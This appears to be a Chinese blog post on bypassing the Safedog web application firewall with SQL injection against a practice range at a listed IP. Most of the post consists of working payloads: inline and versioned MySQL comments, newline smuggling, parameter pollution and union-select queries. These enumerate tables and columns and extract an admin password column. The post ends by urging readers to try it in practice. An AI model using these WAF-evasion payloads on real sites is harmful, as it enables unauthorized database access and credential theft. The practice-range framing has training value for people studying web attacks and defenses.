绕安全狗总结
安全狗靶场
http://59.63.200.79:8014/?id=1
在绕过之前,我需要说明我的注入方法简化说明。
一个注入点我分为六个步骤去完成注入操作:
一、判断是否存在注入
二、当前页面有几个字段,是否有回显
三、利用回显点,遍历表名
四、利用表名,遍历字典
五、输出数据
安全狗绕过
判断是否存在注入
一般来说都是判断and 1=1(2)来判断有无注入点
发现有狗狗
这时就要判断狗狗是咬住了哪个词
发现是and于是我在这理讲讲绕过狗狗的几个方法:
方式一、
Playload: http://59.63.200.79:8014/?id=1 %23a&a0/*and*/ 1=1 --+
返回是正常的
这里讲讲原理:
我们这里是因为and被匹配被咬了但是我们使用aand却不会
所以我们可以用内敛注释把and包起来,然后前面加个a然后把这个a和and分开并且把a给注释掉这样就可以既绕过狗狗也可以执行我们的命令
%23a%0a/*and*/到后端就是这样的:
a #
and
这样可以绕狗
方式二、
Playload: http://59.63.200.79:8014/?id=1 /*!44509and*/ 1=1 --+
也能绕过
原理:
这个绕过是根据mysql数据库版本判断来绕过狗狗
/*!数据库版本+命令*/
当数据库版本大于这个44509(playload里的)时就会去执行后面的命令
这样也可以绕狗
方式三(针对靶场不适用于全部狗狗)、
这个靶场中因为狗狗没有匹配负数而导致的绕过
Playload:http://59.63.200.79:8014/?id=1 and -1=-1 --+
方式四(参数污染)、
?Id=1的站点可以尝试?Id=1&id=2 数据库会执行后面的id=2
如果这样会执行成功的话,可以尝试做一些小操作
/*%0a&id=1%20and%20-1=-2%20union%20select%201,password%20from%20admin%23*/
注:然后在书上还有phpline和分块传输绕过
这里因为时间原因就不实战了(当然也不知道行不行)
如果想了解更多姿势就百度把哈哈哈
然后我们这边就按照注入流程把他库名啥的爆出来把
3的话回显错误所以字段为二
Playload:http://59.63.200.79:8014/?id=1 /*!44509order*/ by 2 --+
Playload: http://59.63.200.79:8014/?id=1 and -1=-2 union /*!10044select*/1,2--+(因为这里安全狗匹配的是union select)
三、利用回显点,输出表
payload:and -1=-2 union/*!10044select*/1,table_name--+/*%0afrom information_schema.tables where table_schema=database()%23*/
本行绕过手法用到了内敛注释+版本号和注释符里逃逸
换行=%0a
#=%23
查询到了admin表
四、查admin表中到字段
payload:
and -1=-2 union/*!10044select*/1,column_name--+/*%0afrom information_schema.columns where table_schema=database() limit 2,1%23*/
五、查password字段数据
and -1=-2 union/*!10044select*/1,password--+/*%0afrom admin%23*/
看完记得去实战!!
纸上得来终觉浅,绝知此事要躬行!
网友评论